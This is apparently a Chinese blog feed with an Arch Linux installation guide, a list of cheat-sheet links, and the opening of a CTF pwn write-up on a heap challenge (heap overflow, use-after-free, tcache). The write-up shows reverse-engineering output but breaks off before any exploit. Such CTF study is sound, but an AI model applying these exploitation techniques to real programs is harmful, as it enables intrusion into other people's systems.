<content type="html"><![CDATA[<p>本文记录安装 Arch Linux 的过程,便于以后重装时查阅,也希望能够为在安装过程中遇到困难的人提供一些参考。</p><span id="more"></span><h2 id="获取系统安装镜像"><a href="# 获取系统安装镜像" class="headerlink" title="获取系统安装镜像"></a>获取系统安装镜像 </h2><p> 在<a href="https://archlinux.org/download/">下载页面 </a> 选择 China 区域的任一下载点,下载系统安装镜像。</p><p>下载站点除了安装镜像之外,还提供了 md5sum ,你可以计算下载得到文件的 md5sum 与之对比以验证下载到的镜像的完整性。</p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$ </span><span class="language-bash">md5sum archlinux-2022.01.01-x86_64.iso</span></span><br><span class="line">e398888915881990ac2491efe014c3ac archlinux-2022.01.01-x86_64.iso</span><br></pre></td></tr></table></figure><h2 id="准备安装介质"><a href="# 准备安装介质" class="headerlink" title="准备安装介质"></a>准备安装介质 </h2><p> 如果是在 Linux 系统上,可以使用 <code>dd</code> 命令很方便地将镜像写入 U 盘,但是请务必反复确认 <code>of</code> 参数指定的是你的 U 盘而不是你电脑上什么别的分区,填错的话可能一个命令下去你电脑上的某个分区就没了。</p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$ </span><span class="language-bash">sudo <span class="built_in">dd</span> bs=4M <span class="keyword">if</span>=/path/to/archlinux.iso of=/dev/sdX status=progress && <span class="built_in">sync</span></span></span><br></pre></td></tr></table></figure><p>或者也可以使用 GUI 工具 <a href="https://www.balena.io/etcher/">Etcher</a> ,这是一个界面很简洁的全平台软件。</p><h2 id="启动安装环境"><a href="# 启动安装环境" class="headerlink" title="启动安装环境"></a>启动安装环境 </h2><p> 关闭电脑,将制作的安装 U 盘插入电脑,并在开机时不断地按 <strong>F2</strong> 、<strong>F10</strong> 或者 <strong>F12</strong> 键(取决于你的电脑品牌和主板品牌),在出现启动菜单时,选择你的 U 盘并按下 <strong>Enter</strong> 键,之后会进入到安装程序的启动菜单,如下图所示。选择第一个 <strong>Arch Linux install medium</strong> 并按下 <strong>Enter</strong> 键进入安装环境。</p><img src="https://s2.loli.net/2022/02/06/YGSif8DH3MFI6Zl.png" title="安装程序启动菜单" alt="安装程序启动菜单" class="box px-0 py-0 mx-auto" width="600" /><br /><img src="https://s2.loli.net/2022/02/06/1TIwneyt5gCc8jO.png" title="安装环境" alt="安装环境" class="box px-0 py-0 mx-auto" width="600" /><br /><p>注意:</p><ol><li>Arch Linux 安装镜像不支持安全启动(Secure Boot),需要在 BIOS 设置里关闭安全启动,完成安装过程之后可以再配置安全启动。</li><li>有 legacy BIOS 和 UEFI 两种启动方式,本文后续内容都假设使用 UEFI 启动方式。</li><li>本文的截图和磁盘大小等数据来自虚拟机,但整个步骤与在物理机上安装系统并无不同。</li></ol><p>可以使用下面的命令检查当前是否在 UEFI 模式,如果该目录存在则是在 UEFI 模式。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># ls /sys/firmware/efi/efivars</span><br></pre></td></tr></table></figure><h2 id="磁盘分区"><a href="# 磁盘分区" class="headerlink" title="磁盘分区"></a>磁盘分区 </h2><p> 使用下面的命令列出所有的磁盘和分区,找到想要进行分区的磁盘,一般是 <strong>/dev/sdX</strong> 的形式,比如 <strong>/dev/sda</strong> ,结果中出现的诸如 <strong>rom</strong> 、<strong>loop</strong> 、<strong>airoot</strong> 之类的磁盘名字可以忽略。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># fdisk -l</span><br><span class="line">Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors</span><br><span class="line">...</span><br><span class="line">Disk /dev/sdb: 30 GiB, 32212254720 bytes, 62914560 sectors</span><br><span class="line">...</span><br><span class="line">Disk /dev/loop0: 715.43 MiB, 750182400 bytes, 1465200 sectors</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>要以 UEFI 模式安装 Arch Linux ,至少需要两个分区:一个 EFI 分区(用于存放 BootLoader 和其他启动时需要的文件),一个 Linux 根目录分区。在本文的场景中,我们有两块磁盘,其中一块磁盘(/dev/sda)存放 EFI 分区和 Linux 根目录,另一块磁盘(/dev/sdb)我们单独存放 home 目录,相当于把系统和用户数据分别放到两块磁盘上。而 swap 空间我们不单独划分一个分区,而是以 swapfile 的方式实现,这样做的好处是以后可以很方便地调整 swap 的大小。</p><h3 id="创建 -EFI- 分区和 -root- 分区"><a href="# 创建 -EFI- 分区和 -root- 分区" class="headerlink" title="创建 EFI 分区和 root 分区"></a>创建 EFI 分区和 root 分区 </h3><p> 使用下面的命令先对 /dev/sda 磁盘进行分区。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># fdisk /dev/sda</span><br></pre></td></tr></table></figure><p>可以输入 <code>d</code> 命令并按下回车删除磁盘上已有的所有分区,然后用 <code>g</code> 命令创建 GPT 分区表。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Command (m for help): g</span><br><span class="line">Created a new GPT disklabel (GUID: ....).</span><br></pre></td></tr></table></figure><p>首先我们来创建 EFI 分区,输入命令 <code>n</code> ,程序会要求输入分区号,输入 1 (会创建名为 /dev/sda1 的分区),First sector 直接按回车保持默认值 2048 ,Last sector 输入 +512M ,表示我们要创建 512M 大小的 EFI 分区。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Command (m for help): n</span><br><span class="line">Partition number (1-128, default 1): 1</span><br><span class="line">First sector (2048-41943006, default 2048):</span><br><span class="line">Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-41943006, default 41943006): +512M</span><br><span class="line"></span><br><span class="line">Created a new partition 1 of type 'Linux filesystem' and of size 512 MiB.</span><br></pre></td></tr></table></figure><p>接着我们还要把这个分区的类型改成 <strong>EFI System</strong> (默认的是 Linux Filesystem),输入命令 <code>t</code> 以修改分区类型,接着输入 <code>L</code> 可以查看所有支持的分区(在分区列表按 <code>j</code> 和 <code>k</code> 上下滚动,按 <code>q</code> 返回),这里我们需要输入 EFI System 对应的编号 1 。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Command (m for help): t</span><br><span class="line">Selected partition 1</span><br><span class="line">Partition type (type L to list all types): 1</span><br><span class="line">Changed type of partition 'Linux filesystem' to 'EFI System'.</span><br></pre></td></tr></table></figure><p>用同样的方式在 /dev/sda 上创建第二个分区作为 root 分区,Partition number 保持默认值 2 ,First sector 和 Last sector 也保持默认值,将磁盘上所有剩下的空间都分配给这个分区。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Command (m for help): n</span><br><span class="line">Partition number (2-128, default 2): </span><br><span class="line">First sector (1050624-41943006, default 1050624):</span><br><span class="line">Last sector, +/-sectors or +/-size{K,M,G,T,P} (1050624-41943006, default 41943006): </span><br><span class="line"></span><br><span class="line">Created a new partition 2 of type 'Linux filesystem' and of size 19.5 GiB.</span><br></pre></td></tr></table></figure><p>完成分区后,输入 <code>w</code> 命令使修改生效并退出 fdisk 工具。</p><h3 id="创建 -home- 分区"><a href="# 创建 -home- 分区" class="headerlink" title="创建 home 分区"></a>创建 home 分区 </h3><p> 用同样的方法对 /dev/sdb 进行分区,我们只创建一个分区,用于系统的 home 目录。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># fdisk /dev/sdb</span><br><span class="line"></span><br><span class="line">Command (m for help): g</span><br><span class="line">Created a new GPT disklabel (GUID: ....).</span><br><span class="line"></span><br><span class="line">Command (m for help): n</span><br><span class="line">Partition number (1-128, default 1):</span><br><span class="line">First sector (2048-62914526, default 2048):</span><br><span class="line">Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-62914526, default 62914526):</span><br><span class="line"></span><br><span class="line">Created a new partition 1 of type 'Linux filesystem' and of size 30 GiB.</span><br><span class="line"></span><br><span class="line">Command (m for help): w</span><br></pre></td></tr></table></figure><h2 id="创建文件系统"><a href="# 创建文件系统" class="headerlink" title="创建文件系统"></a>创建文件系统 </h2><p> 现在所有磁盘分区都准备好了,接下来我们在各个分区上创建文件系统,再次使用 <code>fdisk -l</code> 命令确认一下我们的分区情况。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># fdisk -l</span><br><span class="line">Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors</span><br><span class="line">...</span><br><span class="line">DeviceStartEndSectorsSizeType</span><br><span class="line">/dev/sda1204810506231048576512MEFI System</span><br><span class="line">/dev/sda21050624419430064089238319.5GLinux filesystem</span><br><span class="line"></span><br><span class="line">Disk /dev/sdb: 30 GiB, 32212254720 bytes, 62914560 sectors</span><br><span class="line">...</span><br><span class="line">DeviceStartEndSectorsSizeType</span><br><span class="line">/dev/sdb12048629145266291247930GLinux filesystem</span><br><span class="line"></span><br><span class="line">Disk /dev/loop0: 715.43 MiB, 750182400 bytes, 1465200 sectors</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>使用下面的命令分别为 EFI 分区、Linux 根目录、Linux home 目录创建文件系统。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># mkfs.fat -F 32 /dev/sda1</span><br><span class="line"># mkfs.ext4 /dev/sda2</span><br><span class="line"># mkfs.ext4 /dev/sdb1</span><br></pre></td></tr></table></figure><h2 id="挂载文件系统并创建 -swapfile"><a href="# 挂载文件系统并创建 -swapfile" class="headerlink" title="挂载文件系统并创建 swapfile"></a>挂载文件系统并创建 swapfile</h2><p>接下来我们挂载 /dev/sda2 上的根目录和 /dev/sdb1 上的 home 目录。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># mount /dev/sda2 /mnt</span><br><span class="line"># mkdir /mnt/home</span><br><span class="line"># mount /dev/sdb1 /mnt/home</span><br></pre></td></tr></table></figure><p>使用 <code>fallocate</code> 命令在根目录创建一个 swap 文件,文件名字叫什么无所谓。至于 swap 的大小选择,不同的人、不同的发行版都有各自的偏好,根据是否需要休眠(hibernate)功能也会有差异,这里我采用 Ubuntu 发行版当前的偏好,设定 swapfile 跟物理内存一样的大小(我这台虚拟机的屋物理内存为 4GB)。具体可以看 <a href="https://help.ubuntu.com/community/SwapFaq">Ubuntu 社区的说明 </a> 和 <a href="https://itsfoss.com/swap-size/"> 这篇总结性的文章</a>。swapfile 创建完成后将权限修改为 0600 ,只允许 root 访问,以防止发生重要信息泄露。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># fallocate -l 4G /mnt/swapfile</span><br><span class="line"># chmod 600 /mnt/swapfile</span><br></pre></td></tr></table></figure><p>到目前为止我们只是创建了一个普通的文件,接下来我们需要让 Linux 系统知道这个文件要用来作为 swap 空间,并启用这个 swap 空间。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># mkswap /mnt/swapfile</span><br><span class="line"># swapon /mnt/swapfile</span><br></pre></td></tr></table></figure><p>完成后可以使用下面的命令验证。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># swapon --show</span><br><span class="line">NAMETYPESIZEUSEDPRIO</span><br><span class="line">/mnt/swapfilefile4G0B-2</span><br></pre></td></tr></table></figure><h2 id="检查和配置网络环境"><a href="# 检查和配置网络环境" class="headerlink" title="检查和配置网络环境"></a>检查和配置网络环境 </h2><p> 安装过程中需要网络,我们首先使用 <code>ping</code> 命令检查网络是否连通。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># ping -c 3 baidu.com</span><br></pre></td></tr></table></figure><p>对于有线网络,一般直接插入网线就可以了,而对于无线网络,需要我们手动去连接,这里我们可以使用 <code>iwctl</code> 工具。首先运行 <code>iwctl</code> 进入工具的交互命令行,然后查找电脑上无线网卡设备的名字,接着使用无线网卡设备扫描无线网络,得到无线网络的名字后连接到网络,工具会提示输入无线网络的密码。(下面命令中的 xxx 和 yyy 分别代表无线网卡设备名字和无线网络名字,请根据实际情况进行替换)</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># iwctl</span><br><span class="line">[iwd]# device list</span><br><span class="line">[iwd]# station xxx scan</span><br><span class="line">[iwd]# station xxx get-networks</span><br><span class="line">[iwd]# station xxx connect yyy</span><br></pre></td></tr></table></figure><h2 id="选择合适的镜像源"><a href="# 选择合适的镜像源" class="headerlink" title="选择合适的镜像源"></a>选择合适的镜像源 </h2><p> 后面的安装过程中会从 Arch 镜像服务器上下载一些包。在 Live System 中,reflector 工具会自动选择 20 个最新同步的 HTTPS 镜像服务器放进镜像列表(<code>/etc/pacman.d/mirrorlist</code>),并以下载率排序,排在前面的镜像优先级更高。但这样选择镜像并没有考虑地理位置因素,这些镜像服务器可能离我们很远,导致下载速度很慢。我们可以手动使用 reflector 工具来选择下载速度最快的镜像。</p><p>首先备份一下镜像列表以防出现意外情况,接着使用 reflector 工具自动挑选镜像服务器,并自动把结果保存到镜像列表文件中,命令中的 <code>CN</code> 是国家代码。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># cp /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist.bak</span><br><span class="line"># reflector -c "CN" -f 12 -l 10 -n 12 --save /etc/pacman.d/mirrorlist</span><br></pre></td></tr></table></figure><p>这个镜像列表文件会在后面被 <code>pacstrap</code> 程序拷贝到新安装的系统中,所以不需要在新的系统中再做一遍这个操作。</p><h2 id="安装 -Arch-Linux"><a href="# 安装 -Arch-Linux" class="headerlink" title="安装 Arch Linux"></a>安装 Arch Linux</h2><p>完成了前面的准备工作,现在终于可以开始安装 Arch Linux 了。使用 <code>pacstrap</code> 脚本来安装 base 包、Linux 内核和通用硬件的固件,此外我还安装了 vim 工具以便后面修改文件用。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># pacstrap /mnt base linux linux-firmware vim</span><br></pre></td></tr></table></figure><p>需要注意:</p><ul><li>如果是在容器中安装系统,则不需要安装 Linux 内核。</li><li>如果是在虚拟机或者容器中安装系统,不需要安装 firmware 。</li></ul><p>如果安装因为网络问题中断了,没有关系,等网络恢复时再运行一遍命令即可。</p><h2 id="配置新系统"><a href="# 配置新系统" class="headerlink" title="配置新系统"></a>配置新系统 </h2><p> 前面我们对磁盘做了分区,创建了文件系统和 swapfile ,现在我们用下面的命令生成 fstab 文件,这个文件里说明了我们的磁盘分区、swapfile 应该如何挂载。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># genfstab -U /mnt >> /mnt/etc/fstab</span><br></pre></td></tr></table></figure><p>到这里,我们的 Arch 系统已经安装完成了,但是还没有结束,我们需要使用 <code>arch-chroot</code> 命令进入到新的系统去做一些必要的配置。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># arch-chroot /mnt</span><br></pre></td></tr></table></figure><p>首先我们使用 <code>timedatectl</code> 命令设置时区为 Asia/Shanghai 。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># timedatectl set-timezone Asia/Shanghai</span><br></pre></td></tr></table></figure><p>接着设置 locale ,它会影响系统上的语言、日期、数字以及货币的显示格式。<code>locale.gen</code> 文件中包含了所有支持的 locale,使用 vim 打开并修改文件。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># vim /etc/locale.gen</span><br></pre></td></tr></table></figure><p>找到 <code>en_US.UTF-8 UTF-8</code> 和 <code>zh_CN.UTF-8 UTF-8</code> 并取消注释,保存退出。然后生成 locale 文件,并创建 <code>locale.conf</code> 配置文件。不要直接在这里设置 <code>LANG=zh_CN.UTF-8</code> ,否则会使终端乱码。可以之后在桌面环境中设置语言。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># locale-gen</span><br><span class="line"># echo LANG=en_US.UTF-8 > /etc/locale.conf</span><br></pre></td></tr></table></figure><p>然后设置主机名为 myarch ,你可以随便设置成什么其他的。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># echo myarch > /etc/hostname</span><br></pre></td></tr></table></figure><p>接着修改 hosts 文件,填入下面的内容,注意替换主机名。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># vim /etc/hosts</span><br><span class="line"></span><br><span class="line">127.0.0.1 localhost</span><br><span class="line">::1 localhost</span><br><span class="line">127.0.1.1 myarch</span><br></pre></td></tr></table></figure><p>日常使用中登录 root 用户是极其不安全的,我们创建一个普通用户,并赋予 sudo 权限。首先我们用下面的命令创建一个名为 nuke 的用户并为其设置密码,其中 <code>-m</code> 参数指明为新用户创建 home 目录。之后将新用户添加到 wheel 用户组。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># useradd -m nuke</span><br><span class="line"># passwd nuke</span><br><span class="line"># usermod -aG wheel nuke</span><br></pre></td></tr></table></figure><p>接着我们安装 sudo 工具,并使用 <code>visudo</code> 命令修改 <code>/etc/sudoers</code> 配置文件,找到 wheel 那行,取消注释并保存。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># pacman -S sudo</span><br><span class="line"># visudo</span><br><span class="line"></span><br><span class="line">%wheel ALL=(ALL) ALL</span><br></pre></td></tr></table></figure><h2 id="安装 -Grub-BootLoader"><a href="# 安装 -Grub-BootLoader" class="headerlink" title="安装 Grub BootLoader"></a>安装 Grub BootLoader</h2><p>最后一步是安装 BootLoader ,需要注意这一步骤的描述仅适用于 UEFI 启动模式,不适用于 legacy BIOS 。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># pacman -S grub efibootmgr</span><br></pre></td></tr></table></figure><p>创建 /boot/efi 挂载点并将之前创建的 EFI 分区挂载到这里。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">mkdir /boot/efi</span><br><span class="line">mount /dev/sda1 /boot/efi</span><br></pre></td></tr></table></figure><p>安装 Grub 并生成配置文件。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># grub-install --target=x86_64-efi --bootloader-id=GRUB --efi-directory=/boot/efi</span><br><span class="line"># grub-mkconfig -o /boot/grub/grub.cfg</span><br></pre></td></tr></table></figure><p>恭喜你完成啦!不过不要高兴太早,要作为桌面系统使用我们最起码还得装个桌面环境。</p><p>提示:</p><ul><li>如果完成并重启后启动菜单里没有出现新安装系统的选项,可以进到 BIOS 设置里手动添加一个。</li><li>如果安装 Grub 时遇到 <code>No space left on device grub-install</code> ,首先尝试用 <code>efibootmgr -v</code> 列出所有的启动选项,然后用 <code>efibootmgr -b # -B</code> 命令删除不需要的选项。如果没有解决的话再尝试 <code>rm /sys/firmware/efi/efivars/dump-*</code> 命令清理 EFI 的 dump 文件,完成这两步应该已经能解决这个问题了。</li></ul><h2 id="安装桌面环境"><a href="# 安装桌面环境" class="headerlink" title="安装桌面环境"></a>安装桌面环境 </h2><p> 首先安装显示服务程序 Xorg ,接着安装 KDE 桌面和 KDE 生态的应用程序(有些不需要的可以卸载,比如 kde-games 和 kde-education ),显示管理器 SDDM 会由 KDE 附带安装。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># pacman -S xorg</span><br><span class="line"># pacman -S plasma kde-applications</span><br></pre></td></tr></table></figure><p>最后我们启动 SDDM 和 NetworkManager 服务,就可以重启进入新的系统了。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># systemctl enable sddm.service</span><br><span class="line"># systemctl enable NetworkManager.service</span><br></pre></td></tr></table></figure><h2 id="相关参考链接"><a href="# 相关参考链接" class="headerlink" title="相关参考链接"></a>相关参考链接</h2><blockquote><p><a href="https://wiki.archlinux.org/title/Installation_guide">https://wiki.archlinux.org/title/Installation_guide</a></p><p><a href="https://itsfoss.com/install-arch-linux">https://itsfoss.com/install-arch-linux</a></p><p><a href="https://itsfoss.com/create-swap-file-linux/">https://itsfoss.com/create-swap-file-linux/</a></p><p><a href="https://askubuntu.com/questions/1072618/could-not-prepare-boot-variable-no-space-left-on-device-grub-install-error-ef">https://askubuntu.com/questions/1072618/could-not-prepare-boot-variable-no-space-left-on-device-grub-install-error-ef</a></p></blockquote>]]></content>
<summary type="html"><p>本文记录安装 Arch Linux 的过程,便于以后重装时查阅,也希望能够为在安装过程中遇到困难的人提供一些参考。</p></summary>
</entry>
<entry>
<title>一些有用的 Cheat Sheets</title>
<link href="https://www.nuke666.cn/2021/11/Some-useful-cheat-sheets/"/>
<id>https://www.nuke666.cn/2021/11/Some-useful-cheat-sheets/</id>
<published>2021-11-26T07:03:36.000Z</published>
<updated>2021-11-26T07:03:36.000Z</updated>
<content type="html"><![CDATA[<p> 记录和分享一些不错的 Cheat Sheets,以便查阅。</p><span id="more"></span><p>Screen:<a href="https://maojr.github.io/screencheatsheet/">https://maojr.github.io/screencheatsheet/</a></p><p>TMUX:<a href="https://tmuxcheatsheet.com/">https://tmuxcheatsheet.com/</a></p><p>VIM:<a href="https://vimsheet.com/">https://vimsheet.com/</a></p><p>Docker:<a href="https://dockerlabs.collabnix.com/docker/cheatsheet/">https://dockerlabs.collabnix.com/docker/cheatsheet/</a></p><p>GDB:<a href="https://darkdust.net/files/GDB%20Cheat%20Sheet.pdf">https://darkdust.net/files/GDB%20Cheat%20Sheet.pdf</a></p><p>Git:<a href="https://training.github.com/downloads/zh_CN/github-git-cheat-sheet/">https://training.github.com/downloads/zh_CN/github-git-cheat-sheet/</a></p><p>Latex:<a href="https://wch.github.io/latexsheet/latexsheet.pdf">https://wch.github.io/latexsheet/latexsheet.pdf</a></p>]]></content>
<summary type="html"><p>记录和分享一些不错的 Cheat Sheets,以便查阅。</p></summary>
</entry>
<entry>
<title>Write-up | NeSE 丙组 7 月月赛</title>
<link href="https://www.nuke666.cn/2021/08/Write-up-for-NeSE-monthly-contest-in-July/"/>
<id>https://www.nuke666.cn/2021/08/Write-up-for-NeSE-monthly-contest-in-July/</id>
<published>2021-08-11T06:16:58.000Z</published>
<updated>2021-08-11T06:16:58.000Z</updated>
<content type="html"><![CDATA[<p>NeSE 战队丙组 7 月月赛,只做出了 pwn 的这一道题,花了一整天时间。第一次写 Write-up,内容比较详尽。</p><span id="more"></span><h2 id="题目考点"><a href="# 题目考点" class="headerlink" title="题目考点"></a>题目考点</h2><ul><li>堆溢出</li><li>Use After Free</li><li>tcache</li></ul><h2 id="解题思路"><a href="# 解题思路" class="headerlink" title="解题思路"></a>解题思路 </h2><p> 题目给的程序文件名叫 heap ,提示了解题方向应该与堆相关,同时注意到题目提供的 libc 版本是 2.31。运行程序,首先看到第一行输出了一个提示内容,可能是内存某处的值或者某个地址,十有八九会用到。接着输出了一个菜单,数字 1-5 分别对应创建、写入、打印、删除和退出五个功能。逐个尝试一下,看看程序都提供了什么功能。其中输入数字 3 尝试打印 node 时,程序输出了 “not implemented”,似乎是没有实现这个功能。</p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$ </span><span class="language-bash">./heap</span> </span><br><span class="line">hint: 0x564ea3dba040</span><br><span class="line"></span><br><span class="line">1)create</span><br><span class="line">2)write</span><br><span class="line">3)print</span><br><span class="line">4)del</span><br><span class="line">5)exit</span><br><span class="line">=> 1</span><br><span class="line"></span><br><span class="line">Size: </span><br><span class="line">10</span><br><span class="line">node index: 0</span><br><span class="line"></span><br><span class="line">1)create</span><br><span class="line">2)write</span><br><span class="line">3)print</span><br><span class="line">4)del</span><br><span class="line">5)exit</span><br><span class="line">=> 2</span><br><span class="line"></span><br><span class="line">Index: </span><br><span class="line">0</span><br><span class="line"></span><br><span class="line">Size: </span><br><span class="line">20</span><br><span class="line"></span><br><span class="line">Content: </span><br><span class="line">blijojodiblido</span><br><span class="line"></span><br><span class="line">1)create</span><br><span class="line">2)write</span><br><span class="line">3)print</span><br><span class="line">4)del</span><br><span class="line">5)exit</span><br><span class="line">=> 3</span><br><span class="line">not implemented</span><br><span class="line"></span><br><span class="line">1)create</span><br><span class="line">2)write</span><br><span class="line">3)print</span><br><span class="line">4)del</span><br><span class="line">5)exit </span><br><span class="line">=> 4</span><br><span class="line"></span><br><span class="line">Index: </span><br><span class="line">0</span><br><span class="line"></span><br><span class="line">1)create</span><br><span class="line">2)write</span><br><span class="line">3)print</span><br><span class="line">4)del</span><br><span class="line">5)exit</span><br><span class="line">=> 5</span><br></pre></td></tr></table></figure><p>使用 checksec 工具查看一下程序架构和保护机制。这是一个 64 位程序,开启了 PIE ,即程序运行时的代码段(.text)、数据段(.data)和未初始化数据段(.bss)地址都是随机的。</p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$ </span><span class="language-bash">checksec ./heap</span></span><br><span class="line">[*] '/home/nuke/work/ctf/nese/monthly_7/pwn1/heap'</span><br><span class="line"> Arch: amd64-64-little</span><br><span class="line"> RELRO: Full RELRO</span><br><span class="line"> Stack: Canary found</span><br><span class="line"> NX: NX enabled</span><br><span class="line"> PIE: PIE enabled</span><br></pre></td></tr></table></figure><h3 id="程序静态分析"><a href="# 程序静态分析" class="headerlink" title="程序静态分析"></a>程序静态分析 </h3><p> 使用 IDA Pro x64 加载程序进行静态分析,从左侧 Functions windows 定位到 main 函数,按下 F5 键尝试进行反编译,得到的伪代码看起来有点奇怪,似乎缺少了一些逻辑。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> v5; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line"> <span class="type">unsigned</span> __int64 v6; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> v6 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"> init(argc, argv, envp);</span><br><span class="line"> <span class="keyword">if</span> (*(_QWORD *)(buff + <span class="number">16</span>) )</span><br><span class="line"> system(<span class="string">"/bin/sh"</span>);</span><br><span class="line"> fwrite(<span class="string">"\n1)create\n2)write\n3)print\n4)del\n5)exit\n=> "</span>, <span class="number">1uLL</span>, <span class="number">0x2A</span>uLL, <span class="built_in">stdout</span>);</span><br><span class="line"> v5 = <span class="number">10</span>;</span><br><span class="line"> __isoc99_scanf(<span class="string">"%d"</span>, &v5);</span><br><span class="line"> <span class="keyword">if</span> (v5 >= <span class="number">0</span> && v5 <= <span class="number">5</span> )</span><br><span class="line"> __asm { jmp rax }</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"make wise choice!"</span>);</span><br><span class="line"> <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v6;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>按下 TAB 键切换回汇编代码界面,根据汇编代码内容和程序运行逻辑,推测这里应该有一个被编译器使用跳转表优化后的 switch 语句,没有被 IDA 识别出来。从 0x1711 地址处开始的是跳转的目标地址部分,而 0x16F8 地址处和 0x1704 地址处的 lea 指令所取的 unk_20D0 标签所指向的地址应该就是跳转表,0x16E6 是 switch 语句的起始地址,因此先 <a href="/2021/08/Specify-switch-statement-in-IDA-Pro/"> 对 switch 语句进行恢复</a>。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:00000000000016C4 call ___isoc99_scanf</span><br><span class="line">.text:00000000000016C9 mov eax, [rbp+var_C]</span><br><span class="line">.text:00000000000016CC test eax, eax</span><br><span class="line">.text:00000000000016CE js short loc_16D8</span><br><span class="line">.text:00000000000016D0 mov eax, [rbp+var_C]</span><br><span class="line">.text:00000000000016D3 cmp eax, 5</span><br><span class="line">.text:00000000000016D6 jle short loc_16E6</span><br><span class="line">.text:00000000000016D8</span><br><span class="line">.text:00000000000016D8 loc_16D8: ; CODE XREF: main+85↑j</span><br><span class="line">.text:00000000000016D8 lea rdi, aMakeWiseChoice ; "make wise choice!"</span><br><span class="line">.text:00000000000016DF call _puts</span><br><span class="line">.text:00000000000016E4 jmp short loc_1748</span><br><span class="line">.text:00000000000016E6 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:00000000000016E6</span><br><span class="line">.text:00000000000016E6 loc_16E6: ; CODE XREF: main+8D↑j</span><br><span class="line">.text:00000000000016E6 mov eax, [rbp+var_C]</span><br><span class="line">.text:00000000000016E9 cmp eax, 5</span><br><span class="line">.text:00000000000016EC ja short loc_1747</span><br><span class="line">.text:00000000000016EE mov eax, eax</span><br><span class="line">.text:00000000000016F0 lea rdx, ds:0[rax*4]</span><br><span class="line">.text:00000000000016F8 lea rax, unk_20D0</span><br><span class="line">.text:00000000000016FF mov eax, [rdx+rax]</span><br><span class="line">.text:0000000000001702 cdqe</span><br><span class="line">.text:0000000000001704 lea rdx, unk_20D0</span><br><span class="line">.text:000000000000170B add rax, rdx</span><br><span class="line">.text:000000000000170E db 3Eh</span><br><span class="line">.text:000000000000170E jmp rax</span><br><span class="line">.text:0000000000001711 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:0000000000001711 mov eax, 0</span><br><span class="line">.text:0000000000001716 call create_node</span><br><span class="line">.text:000000000000171B jmp short loc_1742</span><br><span class="line">.text:000000000000171D ; ---------------------------------------------------------------------------</span><br><span class="line">.text:000000000000171D mov eax, 0</span><br><span class="line">.text:0000000000001722 call write_node</span><br><span class="line">.text:0000000000001727 jmp short loc_1742</span><br><span class="line">.text:0000000000001729 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:0000000000001729 lea rdi, aNotImplemented ; "not implemented"</span><br><span class="line">.text:0000000000001730 call _puts</span><br><span class="line">.text:0000000000001735 jmp short loc_1742</span><br><span class="line">.text:0000000000001737 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:0000000000001737 mov eax, 0</span><br><span class="line">.text:000000000000173C call del_node</span><br><span class="line">.text:0000000000001741 nop</span><br></pre></td></tr></table></figure><p>恢复了 switch 语句之后,再次按 F5 键进行反编译,得到 main 函数的伪代码。可以看到,while 